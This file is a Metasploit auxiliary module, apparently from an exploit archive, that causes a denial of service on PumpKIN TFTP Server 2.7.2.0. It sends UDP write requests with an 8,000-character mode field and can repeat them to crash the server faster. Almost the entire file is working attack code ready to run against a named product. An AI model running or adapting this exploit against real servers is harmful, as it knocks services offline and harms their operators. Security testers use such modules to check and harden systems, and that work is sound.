pumpkin-dos.txt

`require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Udp  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'PumpKIN TFTP Server DoS',  
'Description' => %q{  
PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when  
provided with an overly long mode value. It'll take a minute.   
This condition is reached quicker when hammered repeatedly.  
},  
'Author' => ['Saint Patrick','monStream00'],  
'License' => MSF_LICENSE,  
'Version' => '7',  
'DisclosureDate' => 'Oct 25 2008'))  
  
register_options([  
OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])  
])  
end  
  
def run  
  
print_status("Sending bad data...")  
  
crapfile=Rex::Text.rand_text_english(4,"\x00")  
crapdata=Rex::Text.rand_text_english(8000,"\x00")  
lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"  
mul=datastore['MULTIPLE']  
0.upto(mul) do  
connect_udp  
udp_sock.put(lamestring)  
sleep 1  
disconnect_udp  
end  
  
print_status("PumpKIN TFTP daemon is choking...")  
  
end  
end  
  
`